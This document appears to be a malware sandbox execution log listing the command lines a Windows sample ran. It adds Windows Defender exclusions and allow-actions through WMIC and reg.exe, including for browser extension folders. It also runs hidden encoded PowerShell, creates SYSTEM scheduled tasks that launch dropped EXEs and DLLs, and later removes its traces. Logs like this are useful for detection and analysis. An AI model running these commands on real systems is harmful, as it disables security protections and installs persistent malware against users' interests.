- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=T...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bBHUteUGgmJKieooNx" /SC once /ST 20:02:00 /RU "SYSTEM" /TR "\"%TEMP%\dYdZcOnaqMdRppbzs\MChsbGAiuszYXSM\JAXGAIJ.exe\" 2u /mIdidj 390358 /S" /V1 /F
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Polici...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OFwmmjWFiwbU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OFwmmjWFiwbU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PvOxUtDJCsReC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PvOxUtDJCsReC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\RWKZrGpvLhUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\RWKZrGpvLhUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xocmjZjDU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\xocmjZjDU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\fzbmFwpkWNNQPsVB /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\fzbmFwpkWNNQPsVB /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\dYdZcOnaqMdRppbzs /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\dYdZcOnaqMdRppbzs /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\BZujAblWovEhZnQTlIQ2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\BZujAblWovEhZnQTlIQ2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\NHiPkjpPdhReL2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\NHiPkjpPdhReL2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\PXoXDvscIUlitLHfr2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\PXoXDvscIUlitLHfr2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\kuIZSzwXjjXyWl /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\kuIZSzwXjjXyWl /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\qysYbSnGWyWBnZA /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\qysYbSnGWyWBnZA /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\qysYbSnGWyWBnZA2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\qysYbSnGWyWBnZA2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\WIEjocuZYWHpWOId /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\WIEjocuZYWHpWOId /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gJVRdVhpn" /SC once /ST 12:24:44 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gJVRdVhpn"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -s WPDBusEnum
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s fhsvc
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gJVRdVhpn"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "PaWuiJiAPqZwmGWBw" /SC once /ST 10:19:31 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\WIEjocuZYWHpWOId\gmAenoRHMYAddUv\xEIjqXg.exe\" Ys /BVELdidFG 390358 /S" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "PaWuiJiAPqZwmGWBw"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bBHUteUGgmJKieooNx"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "cmd /C if exist \"%ProgramFiles(x86)%\xocmjZjDU\brXCdM.dll\" rundll32 \"%ProgramFiles(x86)%\xocmjZjDU\brXCdM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qysYbSnGWyWBnZA" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "qysYbSnGWyWBnZA2" /F /xml "%ProgramFiles(x86)%\xocmjZjDU\gOTUifW.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "qysYbSnGWyWBnZA"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "qysYbSnGWyWBnZA"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "kuIZSzwXjjXyWl" /F /xml "%ProgramFiles(x86)%\OFwmmjWFiwbU2\aflkEfO.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "NHiPkjpPdhReL2" /F /xml "%ALLUSERSPROFILE%\fzbmFwpkWNNQPsVB\GtSiUeC.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "PXoXDvscIUlitLHfr2" /F /xml "%ProgramFiles(x86)%\LXfEwNMPeqrSlOFGerR\sJovytp.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "BZujAblWovEhZnQTlIQ2" /F /xml "%ProgramFiles(x86)%\PvOxUtDJCsReC\zHYubvv.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "iPGNDLhGIEtIRdauu" /SC once /ST 05:40:16 /RU "SYSTEM" /TR "rundll32 \"%WINDIR%\Temp\WIEjocuZYWHpWOId\GBMSWjJa\eFISxnx.dll\",#1 /OdidvS 390358" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "iPGNDLhGIEtIRdauu"
- '<SYSTEM32>\rundll32.exe' "%WINDIR%\Temp\WIEjocuZYWHpWOId\GBMSWjJa\eFISxnx.dll",#1 /OdidvS 390358
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "iPGNDLhGIEtIRdauu"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "OBumO1" /SC once /ST 10:37:01 /F /RU "user" /TR "\"%ProgramFiles%\Mozilla Firefox\firefox.exe\""
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "OBumO1"
- '%ProgramFiles%\mozilla firefox\firefox.exe'
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "OBumO1"
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtensio...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "PaWuiJiAPqZwmGWBw"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden sleep 10
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m ping.exe /c "cmd /C powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=Tr...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden sleep 1
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
